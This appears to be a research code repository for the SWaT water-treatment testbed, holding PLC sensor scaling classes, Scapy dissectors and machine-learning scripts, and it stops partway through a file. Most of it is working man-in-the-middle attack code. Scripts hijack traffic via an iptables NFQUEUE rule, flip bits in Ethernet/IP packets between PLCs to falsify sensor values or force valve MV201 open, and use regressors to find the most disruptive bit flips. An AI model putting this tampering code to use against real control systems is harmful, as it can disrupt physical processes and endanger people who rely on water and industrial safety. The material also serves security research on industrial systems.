EUMAX = 800.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = 0.0
#AI plc5
class P5FeedPh(object):
EUMAX = 12.0
EUMIN = 2.0
RAWMAX = 31208.0
RAWMIN = 0.0
class P5FeedOrp(object):
EUMAX = 800.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = 0.0
class P5FeedCond(object):
EUMAX = 1000.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = 0.0
class P5PremCond(object):
EUMAX = 1300.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = 0.0
class P5FeedFlow(object):
EUMAX = 4.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = 5.0
class P5PermFlow(object):
EUMAX = 4.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = -15.0
class P5ConcFlow(object):
EUMAX = 4.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = -30.0
class P5RecFlow(object):
EUMAX = 2.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = -10.0
class P5HPumpPress(object):
EUMAX = 500.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = 0.0
class P5PermPress(object):
EUMAX = 500.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = -5.0
class P5ConcPress(object):
EUMAX = 500.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = 0.0
#AI plc6
class P6BackFlow(object):
EUMAX = 2.0
EUMIN = 0.0
RAWMAX = 31208.0
RAWMIN = -5.0
def current_to_signal(raw_in, scaling):
"""
Scales the input signal from current 4 - 20 mA to the human readable measurements.
:param raw_in: current value.
:param scaling: scaling constants.
:return: signal value.
"""
if raw_in > scaling.RAWMAX:
return 0.0
result = raw_in - scaling.RAWMIN
result *= (scaling.EUMAX - scaling.EUMIN) / (scaling.RAWMAX - scaling.RAWMIN)
result += scaling.EUMIN
return result
def signal_to_current(scale_in, scaling):
"""
Scales the input signal from human readable measurements to current 4 - 20 mA.
:param scale_in: signal value.
:param scaling: scaling constants.
:return: current value.
"""
result = scale_in - scaling.EUMIN
result /= (scaling.EUMAX - scaling.EUMIN) / (scaling.RAWMAX - scaling.RAWMIN)
result += scaling.RAWMIN
return 0 if result < 0 else result
```
tcpdump.sh
```#!/bin/sh
sudo tcpdump ip -i eth1 -w ./test.pcap
#change eth1 interfaces according to yours.```
modify_packet_stage2.py
```#!/usr/bin/env python
# -*- coding:utf-8 -*-
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# !/usr/bin/env python
# -*- coding:utf-8 -*-
from scapy.all import *
import time
import numpy as np
from Main.modify_bit import *
from netfilterqueue import NetfilterQueue
index_alter = 0
#stage2_index
index2_50 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 138, 139, 140, 141, 142, 143, 144, 145, 147, 148, 149, 150, 151, 152, 153, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 217, 218, 219, 220, 221, 222, 223, 224, 225, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 244, 245, 246, 247, 248, 249, 286, 287, 288, 289, 301, 302, 303, 304, 305, 317, 318, 319, 320, 321, 334, 335, 336, 337, 351, 352, 353, 367, 368, 369, 385]
index2_40 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 96, 97]
index2_28 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 96, 97, 142, 143, 144, 145, 194, 200, 214, 215]
index0_40 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 96, 97, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 205, 207, 215, 216, 217]
p2_50 = np.zeros(len(index2_50), dtype=int)
p2_40 = np.zeros(len(index2_40), dtype=int)
p2_28 = np.zeros(len(index2_28), dtype=int)
p0_40 = np.zeros(len(index0_40), dtype=int)
vector = np.hstack((p2_50, p2_40, p2_28, p0_40))
vector = vector.tolist()
modify_time = 0
modify_flag = 0
modify_index = 0
success_times = 0
failed_times = 0
count = 0
start_time = 0
time_interval = 30
def handle_packet(packet):
global index_alter
global modify_flag
global modify_time
global count
global vector
global start_time
global model
#192:mv_201_open
index_alter = 192
pkt = IP(packet.get_payload())
if pkt.haslayer('Raw'):
if index_alter in range(len(p2_50)):
if pkt['IP'].src == '192.168.0.22' and len(pkt['Raw']) == 50:
rawpkt = binascii.unhexlify(modify_bit(pkt, index2_50[index_alter]))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['UDP'].chksum
packet.set_payload(str(pktnew))
elif index_alter in range(len(p2_50), len(p2_50)+len(p2_40)):
if pkt['IP'].src == '192.168.0.22' and len(pkt['Raw']) == 40:
rawpkt = binascii.unhexlify(modify_bit(pkt, index2_40[index_alter - len(p2_50)]))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['UDP'].chksum
packet.set_payload(str(pktnew))
elif index_alter in range(len(p2_50)+len(p2_40), len(p2_50)+len(p2_40)+len(p2_28)):
if pkt['IP'].src == '192.168.0.22' and len(pkt['Raw']) == 28:
rawpkt = binascii.unhexlify(modify_bit(pkt, index2_28[index_alter - (len(p2_50)+len(p2_40))]))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['UDP'].chksum
packet.set_payload(str(pktnew))
elif index_alter in range(len(p2_50)+len(p2_40)+len(p2_28), len(p2_50)+len(p2_40)+len(p2_28)+len(p0_40)):
if pkt['IP'].src == '192.168.0.20' and len(pkt['Raw']) == 40:
#control mv201 states
rawpkt = binascii.unhexlify(on(pkt, index0_40[index_alter - (len(p2_50)+len(p2_40)+len(p2_28))]))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['UDP'].chksum
packet.set_payload(str(pktnew))
packet.accept()
if __name__ == '__main__':
os.system('iptables -t mangle -A FORWARD -j NFQUEUE --queue-num 1')
nfqueue = NetfilterQueue()
nfqueue.bind(1, handle_packet,10)
try:
print "[*] starting NFQUEUE"
start_time = time.time()
print "start_time", start_time
nfqueue.run()
except KeyboardInterrupt:
os.system('sudo iptables -t mangle -F')
print "[*] stopping NFQUEUE"
nfqueue.unbind()
```
bitdump.py
```#!/usr/bin/env python
# -*- coding:utf-8 -*-
from scapy.all import *
import binascii
def hex_to_bin(hex_string):
hex_list = list(hex_string)
bin_list = []
for i in range(len(hex_list)):
if hex_list[i] == '0':
bin_list.extend(['0','0','0','0'])
if hex_list[i] == '1':
bin_list.extend(['0','0','0','1'])
if hex_list[i] == '2':
bin_list.extend(['0','0','1','0'])
if hex_list[i] == '3':
bin_list.extend(['0','0','1','1'])
if hex_list[i] == '4':
bin_list.extend(['0','1','0','0'])
if hex_list[i] == '5':
bin_list.extend(['0','1','0','1'])
if hex_list[i] == '6':
bin_list.extend(['0','1','1','0'])
if hex_list[i] == '7':
bin_list.extend(['0','1','1','1'])
if hex_list[i] == '8':
bin_list.extend(['1','0','0','0'])
if hex_list[i] == '9':
bin_list.extend(['1','0','0','1'])
if hex_list[i] == 'a':
bin_list.extend(['1','0','1','0'])
if hex_list[i] == 'b':
bin_list.extend(['1','0','1','1'])
if hex_list[i] == 'c':
bin_list.extend(['1','1','0','0'])
if hex_list[i] == 'd':
bin_list.extend(['1','1','0','1'])
if hex_list[i] == 'e':
bin_list.extend(['1','1','1','0'])
if hex_list[i] == 'f':
bin_list.extend(['1','1','1','1'])
bin_str = ''.join(bin_list)
return bin_str
def bitdump(x, dump=False):
hex_string = binascii.hexlify(bytes(x))
bin_string = hex_to_bin(hex_string)
return list(map(int,list(bin_string)))```
stage2_AL backup.py
```#!/usr/bin/env python
# -*- coding:utf-8 -*-
from scapy.all import *
import random
import time
import numpy as np
from bitdump import *
import binascii
from modify_bit import *
import dissector.CIP_sequence
from netfilterqueue import NetfilterQueue
from AL_utils import *
from sklearn.externals import joblib
from sklearn.ensemble import GradientBoostingRegressor
from sklearn.svm import LinearSVR
from preprocess import *
import os
# index12_50 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 97, 138, 139, 140, 141, 142, 143, 144,
# 145, 146, 147, 148, 149, 150, 151, 152, 153, 186, 187, 188, 189, 190, 191, 192, 193, 195, 196, 197, 198,
# 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 221, 222,
# 223, 224, 225, 239, 240, 241, 253, 254, 255, 256, 257, 269, 270, 271, 272, 273, 302, 303, 304, 305, 318,
# 319, 320, 321, 334, 335, 336, 337, 350, 351, 352, 353, 367, 368, 369, 384]
# index12_40 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 95, 96, 97]
# index12_28 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 95, 96, 97, 142, 143, 144, 145, 190, 200,
# 201]
# index10_40 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 95, 96, 97, 138, 139, 140, 141, 142, 143,
# 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 206, 207, 209, 217]
# p2_50 = np.zeros(len(index12_50), dtype=int)
# p2_40 = np.zeros(len(index12_40), dtype=int)
# p2_28 = np.zeros(len(index12_28), dtype=int)
# p2_40 = np.zeros(len(index10_40), dtype=int)
p2_50 = np.zeros(256, dtype=int)
p2_40 = np.zeros(176, dtype=int)
p2_28 = np.zeros(80, dtype=int)
p0_40 = np.zeros(176, dtype=int)
vector = np.hstack((p2_50, p2_40, p2_28, p2_40))
vector = vector.tolist()
modify_time = 0
modify_flag = 0
modify_index = 0
success_times = 0
failed_times = 0
count = 0
start_time = 0
time_interval = 30
#######################
# import model
#######################
sensor = 'FIT201'
method = 'GBDT'
algorithm = 'EMCM'
stage_ip1 = '192.168.0.22'
stage_ip2 = '192.168.0.20'
model = joblib.load(sensor+'/origin/'+sensor+'_'+method+'_40min.pkl')
#######################
# import first batch
#######################
batch = np.load('0801total.npy')
bits = np.load(sensor+'/origin/'+sensor+'_'+'bits_40min.npy')
label = np.loadtxt(sensor+'/origin/'+sensor+'_'+ 'diff30_40min.txt')
print 'load complete'
#############################
# generate first model_list
#############################
if algorithm == 'EMCM':
block_size=int(np.shape(bits)[0]**(1/3))+1
if method == 'linear':
bootstrap_linear_model(bits,label,block_size,4)
if method == 'GBDT':
bootstrap_GBDT_model(bits, label, block_size, 4)
model_list = ['model/bootstrap_' + method + '_example0.pkl', 'model/bootstrap_' + method + '_example1.pkl',
'model/bootstrap_' + method + '_example2.pkl',
'model/bootstrap_' + method + '_example3.pkl']
vectors = bits.tolist()
pv = label.tolist()
list_total = []
pv_total = []
j = 0
#####################################
#define classifier(gbdt and linear)
#####################################
def train_gbdt(x, y):
model_gbdt = GradientBoostingRegressor(
loss='ls'
, learning_rate=0.1
, n_estimators=100
, subsample=0.8
, min_samples_split=2
, min_samples_leaf=1
, max_depth=50
, init=None
, random_state=None
, max_features=None
, alpha=0.9
, verbose=0
, max_leaf_nodes=None
, warm_start=False
)
model_gbdt.fit(x,y)
return model_gbdt
def train_linear(x, y):
model_linear = LinearSVR(C=1, tol=1e-5,max_iter=1000)
model_linear.fit(x, y)
return model_linear
#####################################
#define search algorithm
# (top10 vector according to their changes before and after bitflips)
#####################################
def search(vector,model):
vector_list = []
v_list = []
y0 = model.predict([vector[0]])
for i in vector:
y = model.predict([i])
diff = abs(y-y0)
v_list.append(diff)
temp_list = v_list[:]
temp_list.sort(reverse=True)
for i in range(10):
vector_list.append(vector[v_list.index(temp_list[i])])
return vector_list
def save(filename, contents):
fh = open(filename, 'w')
fh.write(contents)
fh.close()
def handle_packet(packet):
global index_alter
global modify_flag
global modify_time
global count
global vector
global vector_list
global start_time
global model
global j
pkt = IP(packet.get_payload())
'''extract pv'''
if pkt.haslayer("Raw"):
if pkt["IP"].src == stage_ip1:
if len(pkt[Raw]) == 32:
stri = binascii.hexlify(str(pkt))
with open("string.txt", 'w') as i:
i.write(stri)
'''start altering packets'''
if modify_flag == 1:
for v in vector_list:
if time.time() - modify_time <= time_interval:
if pkt.haslayer('Raw'):
if pkt['IP'].src == stage_ip1 and len(pkt['Raw']) == 32:
rawpkt = binascii.unhexlify(reconstruct_packet(pkt,v,2,1))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['UDP'].chksum
packet.set_payload(str(pktnew))
if pkt['IP'].src == stage_ip1 and len(pkt['Raw']) == 22:
rawpkt = binascii.unhexlify(reconstruct_packet(pkt, v, 2, 2))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['UDP'].chksum
packet.set_payload(str(pktnew))
if pkt['IP'].src == stage_ip1 and len(pkt['Raw']) == 10:
rawpkt = binascii.unhexlify(reconstruct_packet(pkt, v, 2, 3))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['UDP'].chksum
packet.set_payload(str(pktnew))
if pkt['IP'].src == stage_ip2 and len(pkt['Raw']) == 22:
rawpkt = binascii.unhexlify(reconstruct_packet(pkt, v, 2, 4))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['UDP'].chksum
packet.set_payload(str(pktnew))
else:
# update model
temp_pv = np.loadtxt('pv_diff.txt')
for num in range(10):
vectors.append(v)
pv.append(temp_pv)
print 'start_training', j
if method == 'GBDT':
model = train_gbdt(vectors, pv)
if method == 'linear':
model = train_linear(vectors, pv)
joblib.dump(model, sensor + '/' + method + '/' + sensor + '_' + method + '_'+algorithm+'_' + str(j) + ".pkl")
print 'training over', j
j += 1
start_time = time.time()
if algorithm == 'EMCM':
if method == 'GBDT':
bootstrap_GBDT_model(vector, pv, block_size, 4)
if method == 'linear':
bootstrap_linear_model(vector, pv, block_size, 4)
modify_time = time.time()
modify_flag = 0
else:
'''search for the related bits'''
if time.time() - start_time >= 5:
vector = np.hstack((p2_50, p2_40, p2_28, p2_40))
np.savetxt('stage2old.txt',vector)
vector2 = np.loadtxt('stage1new.txt')
vector3 = np.loadtxt('stage3new.txt')
vector4 = np.loadtxt('stage4new.txt')
vector = np.hstack((vector, vector2, vector3, vector4))
vector = vector.tolist()
print "vector", vector
vector_temp = []
# flip according to Correlation
for i in range(2752):
temp = bit_flip(vector, i)
if i == 583:
temp = bit_flip(temp, 1279)
if i == 1279:
temp = bit_flip(temp, 583)
# if i == 1955:
# temp = bit_flip(temp, 1959)
if i == 1959:
temp = bit_flip(temp, 1955)
if i == 2643:
temp = bit_flip(temp, 2647)
if i == 2647:
temp = bit_flip(temp, 2643)
vector_temp.append(temp)
vector_temp = np.array(vector_temp)
if algorithm == 'EMCM':
if method == 'GBDT':
vector_list = EMCM_GBDT(model, 4, model_list, len(vector_temp), vector_temp, 100)
if method == 'linear':
vector_list = EMCM_linear(model, 4, model_list, len(vector_temp), vector_temp)
elif algorithm == 'EBCM':
vector_list = search(vector_temp, model)
print "vector_list:", vector_list
modify_flag = 1
modify_time = time.time()
elif pkt.haslayer("Raw"):
if pkt["IP"].src == stage_ip1:
if len(pkt[Raw]) == 32:
a = bitdump(pkt[Raw])
save('p2_50.txt',binascii.hexlify(bytes(pkt[Raw])))
for j in range(len(a)):
p2_50[j] = a[j]
if len(pkt[Raw]) == 22:
a = bitdump(pkt[Raw])
save('p2_40.txt',binascii.hexlify(bytes(pkt[Raw])))
for j in range(len(a)):
p2_40[j] = a[j]
if len(pkt[Raw]) == 10:
a = bitdump(pkt[Raw])
save('p2_28.txt',binascii.hexlify(bytes(pkt[Raw])))
for j in range(len(a)):
p2_28[j] = a[j]
if pkt["IP"].src == stage_ip2:
if len(pkt[Raw]) == 32:
a = bitdump(pkt[Raw])
save('p0_40.txt',binascii.hexlify(bytes(pkt[Raw])))
for j in range(len(a)):
p0_40[j] = a[j]
packet.accept()
if __name__ == '__main__':
os.system('iptables -t mangle -A FORWARD -j NFQUEUE --queue-num 1')
nfqueue = NetfilterQueue()
nfqueue.bind(1, handle_packet)
try:
print "[*] starting NFQUEUE"
start_time = time.time()
print "start_time", start_time
nfqueue.run()
except KeyboardInterrupt:
time.sleep(1)
os.system('sudo iptables -t mangle -F')
os.system('sudo sh start_lvl0.sh')
print "[*] stopping NFQUEUE"
nfqueue.unbind()
```
train.py
```#!/usr/bin/env python
# -*- coding:utf-8 -*-
import numpy as np
from sklearn.ensemble import RandomForestRegressor
from sklearn.svm import SVR
from sklearn.ensemble import GradientBoostingRegressor
import matplotlib.pyplot as plt
from sklearn.externals import joblib
import time
from sklearn.metrics import r2_score
def train_rfr(x, y):
model_rfr = RandomForestRegressor(n_estimators=100)
model_rfr.fit(x, y)
return model_rfr
def train_SVR(x, y):
model_svr = SVR(kernel='linear', C=1, gamma=0.01)
model_svr.fit(x, y)
return model_svr
def train_gbdt(x, y):
model_gbdt = GradientBoostingRegressor(
loss='ls'
, learning_rate=0.1
, n_estimators=100
, subsample=0.8
, min_samples_split=2
, min_samples_leaf=1
, max_depth=50
, init=None
, random_state=None
, max_features=None
, alpha=0.9
, verbose=0
, max_leaf_nodes=None
, warm_start=False
)
model_gbdt.fit(x,y)
return model_gbdt
def split_data(data, rate=0.25):
return np.array(data[:int(len(data)*rate)]), np.array(data[int(len(data)*rate):])
def predict_once(x, model_once):
result = model_once.predict(x)
return result
# X_t = np.loadtxt('vector/0429LIT101_corr_bits.txt')
# y_t = np.loadtxt('vector/0429LIT101_y_diff30.txt')
a = time.time()
X_train = np.loadtxt('vector/0718train.txt')
X_test = np.loadtxt('vector/0718test.txt')
print (len(X_train))
y_train = np.loadtxt('vector/0718LIT101_train.txt')
y_test = np.loadtxt('vector/0718LIT101_test.txt')
print 'load time:',time.time()-a
#
# X = np.loadtxt('vector/0710stage1_whole.txt')
# y = np.loadtxt('vector/0710LIT101_y_diff30.txt')
# X_train, X_test = split_data(X)
# np.savetxt('vector/0710stage1_train.txt',X_train)
# y_train, y_test = split_data(y)
# np.savetxt('vector/0710LIT101_diff30_train.txt',y_train)
# np.savetxt('stage4test0.txt',X_test,fmt='%d')
# np.savetxt('LIT401test0.txt',y_test)
# np.savetxt('stage4_batch0.txt',X_train,fmt='%d')
# np.savetxt('LIT401_batch0.txt',y_train)
'''real value'''
# y_real = np.loadtxt('vector/0703LIT301_y_diff30.txt')
# y_realtrain, y_realtest = split_data(y_real)
# X_test = X[8000:]
# y_test = y[8000:]
# for i in range(3,6):
# for j in range(6):
# model = train_SVR(X[1800:1800+(j+1)*600], y[1800:1800+(j+1)*600])
# plt.figure()
# plt.plot(range(len(y[1800:1800+(j+1)*600])),y[1800:1800+(j+1)*600], 'b', label='real_train')
# plt.legend()
# plt.show()
# predict_y = model.predict(X_test)
# print j,r2_score(y_test,predict_y)
# plt.figure()
# plt.plot(range(len(y_test)), y_test, 'b', label='real_test')
# plt.plot(range(len(y_test)), predict_y, 'r', label='predict_test')
# plt.legend()
# plt.show()
model = train_SVR(X_train,y_train)
joblib.dump(model, "model/0718LIT101_diff30_linear.pkl")
y_predict = []
'''predict based on difference'''
'''diff_train'''
# y_predict.append(X_train[0][-1]+predict_once([X_train[0]],model))
# for i in range(1,len(X_train)):
# X_train[i][-1] = y_predict[i-1]
# y_predict.append(X_train[i][-1] + predict_once([X_train[i]], model))
'''diff_test'''
# y_predict.append(X_test[0][-1]+predict_once([X_test[0]],model))
# for i in range(1,len(X_test)):
# X_test[i][-1] = y_predict[i-1]
# y_predict.append(X_test[i][-1] + predict_once([X_test[i]], model))
# plt.plot(range(len(y_realtest)),y_realtest,'r',label = 'real_test')
# plt.plot(range(len(y_test)),y_predict,'b',label = 'predict_test')
'''predict based on value'''
'''value_train'''
# y_predict.append(predict_once([X_train[0]],model))
# for i in range(1,len(X_train)):
# X_train[i][-1] = y_predict[i-1]
# y_predict.append(predict_once([X_train[i]], model))
# plt.plot(range(len(y_realtrain)),y_realtrain,'r',label = 'real_train')
# plt.plot(range(len(y_train)),y_predict,'b',label = 'predict_train')
'''value_test'''
# y_predict.append(predict_once([X_test[0]],model))
# for i in range(1,len(X_test)):
# X_test[i][-1] = y_predict[i-1]
# y_predict.append(predict_once([X_test[i]], model))
# # plt.plot(range(len(y_realtest)),y_realtest,'r',label = 'real_test')
# plt.plot(range(len(y_test)),y_predict,'b',label = 'predict_test')
# plt.grid()
# plt.legend()
# # plt.savefig("figure/LIT101_value20_SVR.png")
# plt.show()
'''predict directly'''
a = model.predict(X_test)
plt.figure()
plt.plot(range(len(y_test)),y_test,'b',label = 'real_test')
plt.plot(range(len(y_test)),a,'r',label = 'predict_test')
plt.legend()
plt.show()
# plt.figure()
# plt.plot(range(len(y_test)),y_test,'b',label = 'real_test')
# plt.legend()
# plt.show()
# plt.figure()
# plt.plot(range(len(y_train)),y_train,'b',label = 'real_train')
# plt.legend()
# plt.show()
# b = model.predict(X_train)
# plt.figure()
# plt.plot(range(len(y_train)), y_train, 'b', label='real_train')
# plt.plot(range(len(y_train)), b, 'r', label='predict_train')
# plt.legend()
# plt.savefig("figure/LIT101_value20_rfr.png")
```
main_server.py
```import zmq
import numpy as np
import time
def save(filename, contents):
fh = open(filename, 'w')
fh.write(contents)
fh.close()
def read(filename):
fh = open(filename, 'r')
contents = fh.read()
fh.close()
return contents
'''set tcp address'''
ip = "10.0.1.235"
port1 = "5501"
port2 = "5502"
port3 = "5503"
port4 = "5504"
port1_states = "5505"
port2_states = "5506"
port3_states = "5507"
port4_states = "5508"
tcp_address1 = "tcp://" + ip + ":" + port1
tcp_address2 = "tcp://" + ip + ":" + port2
tcp_address3 = "tcp://" + ip + ":" + port3
tcp_address4 = "tcp://" + ip + ":" + port4
tcp_address1_states = "tcp://" + ip + ":" + port1_states
tcp_address2_states = "tcp://" + ip + ":" + port2_states
tcp_address3_states = "tcp://" + ip + ":" + port3_states
tcp_address4_states = "tcp://" + ip + ":" + port4_states
context = zmq.Context()
socket1 = context.socket(zmq.PUB)
socket1.bind(tcp_address1)
socket2 = context.socket(zmq.PUB)
socket2.bind(tcp_address2)
socket3 = context.socket(zmq.PUB)
socket3.bind(tcp_address3)
socket4 = context.socket(zmq.PUB)
socket4.bind(tcp_address4)
socket1_states = context.socket(zmq.PUB)
socket1_states.bind(tcp_address1_states)
socket2_states = context.socket(zmq.PUB)
socket2_states.bind(tcp_address2_states)
socket3_states = context.socket(zmq.PUB)
socket3_states.bind(tcp_address3_states)
socket4_states = context.socket(zmq.PUB)
socket4_states.bind(tcp_address4_states)
'''
np.savetxt('newvector.txt',[1,0])
save('stage_states.txt', '0 0')
'''
while True:
'''send new vector and stage states to different stages'''
index = np.loadtxt('newvector.txt')
stage_states = read('stage_states.txt')
socket1.send_string("%s" % index)
socket1_states.send_string(stage_states)
socket2.send_string("%s" % index)
socket2_states.send_string(stage_states)
socket3.send_string("%s" % index)
socket3_states.send_string(stage_states)
socket4.send_string("%s" % index)
socket4_states.send_string(stage_states)
time.sleep(1)
```
usl.py
```#!/usr/bin/env python
# -*- coding:utf-8 -*-
def usl(reading):
return (reading - 0.0)*0.03897+5.8554
print usl(20953)```
_PLC1.py
```# -*- coding: utf-8 -*-
# Copyright (c) 2015 David I. Urbina, david.urbina@utdallas.edu
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
"""Scapy Dissector for Ethernet/IP Implicit I/O messages of PLC 1."""
from scapy import all as scapy_all
import enip_cpf
__all__ = ['SWAT_P1_PLC', 'SWAT_P1_RIO_DO', 'SWAT_P1_RIO_DI', 'SWAT_P1_RIO_AI', 'SWAT_P1_WRIO_AI']
class SWAT_P1_PLC(scapy_all.Packet):
name = "SWAT_P1_PLC"
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.LEIntField('number', 0),
scapy_all.LEShortField('spare', 0),
]
class SWAT_P1_RIO_DO(scapy_all.Packet):
name = "SWAT_P1_RIO_DO"
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.ByteField('number', 0),
scapy_all.StrFixedLenField('reserved', 0, length=5),
scapy_all.BitField('spare', 0, 4),
scapy_all.BitEnumField('valve_close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('valve_open', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('pump2_start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('pump1_start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.FieldListField("spare2", [], scapy_all.ByteField('', 0),
length_from=lambda p: p.underlayer.length - 9),
]
class SWAT_P1_RIO_DI(scapy_all.Packet):
name = 'SWAT_P1_RIO_DI'
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.LEIntField('padding', 0),
scapy_all.BitEnumField('pump2_fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('pump2_run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('pump2_auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('pump1_fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('pump1_run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('pump1_auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('rio_wireless', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('plc_wireless', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitField('spare', 0, 6),
scapy_all.BitEnumField('valve_close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('valve_open', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.LEShortField('spare2', 0),
]
class SWAT_P1_RIO_AI(scapy_all.Packet):
name = "SWAT_P1_RIO_AI"
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.LEIntField('padding', 0),
scapy_all.LEShortField('level', 0),
scapy_all.LEShortField('flow', 0),
scapy_all.FieldListField("spare", [], scapy_all.LEShortField("", 0),
length_from=lambda p: p.underlayer.length - 10),
]
class SWAT_P1_WRIO_AI(scapy_all.Packet):
name = "SWAT_P1_WRIO_AI"
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.LEIntField('padding', 0),
scapy_all.LEShortField('level', 0),
scapy_all.LEShortField('flow', 0),
scapy_all.FieldListField("spare", [], scapy_all.LEShortField("", 0),
length_from=lambda p: p.underlayer.length - 10),
]
scapy_all.bind_layers(scapy_all.TCP, enip_cpf.ENIP_CPF, dport=2222)
scapy_all.bind_layers(scapy_all.UDP, enip_cpf.ENIP_CPF, sport=2222)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P1_RIO_AI, length=32)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P1_RIO_DI, length=10)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P1_RIO_DO, length=22)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P1_PLC, length=8) # Comment for WRIO
# scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P1_WRIO_AI, length=10) # Uncomment for WRIO
```
modify_packet_stage4.py
```#!/usr/bin/env python
# -*- coding:utf-8 -*-
#!/usr/bin/env python
# -*- coding:utf-8 -*-
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# !/usr/bin/env python
# -*- coding:utf-8 -*-
from scapy.all import *
import time
import numpy as np
from Main.modify_bit import *
from netfilterqueue import NetfilterQueue
#stage4_index
index2_50 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 97, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 186, 187, 188, 189, 190, 191, 192, 193, 196, 197, 198, 199, 200, 201, 205, 206, 207, 208, 209, 218, 219, 220, 221, 222, 223, 224, 225, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 247, 248, 249, 269, 270, 271, 272, 273, 285, 286, 287, 288, 289, 302, 303, 304, 305, 317, 318, 319, 320, 321, 334, 335, 336, 337, 349, 350, 351, 352, 353, 365, 366, 367, 368, 369]
index2_40 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 95, 96, 97]
index2_28 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 95, 96, 97, 140, 141, 142, 143, 144, 145, 190, 194]
